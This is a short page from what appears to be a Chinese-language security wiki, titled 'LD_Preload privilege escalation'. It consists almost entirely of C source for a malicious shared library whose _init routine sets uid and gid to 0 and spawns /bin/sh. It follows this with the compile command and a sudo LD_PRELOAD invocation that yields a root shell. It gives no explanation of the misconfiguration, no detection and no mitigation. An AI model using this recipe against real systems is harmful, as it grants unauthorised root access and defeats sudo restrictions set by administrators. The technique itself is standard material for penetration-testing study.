> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/quan-xian-ti-sheng/linux-ti-quan/ldpreload-ti-quan.md).

# LD\_Preload提权

```c
	#include <stdio.h>
	#include <sys/types.h>
	#include <stdlib.h>
	void _init() {
		unsetenv("LD_PRELOAD");
		setgid(0);
		setuid(0);
		system("/bin/sh");
	}
```

```
>gcc -fPIC -shared -o shell.so shell.c -nostartfiles
>ls -al shell.so
>sudo LD_PRELOAD=/tmp/shell.so find
>id
```
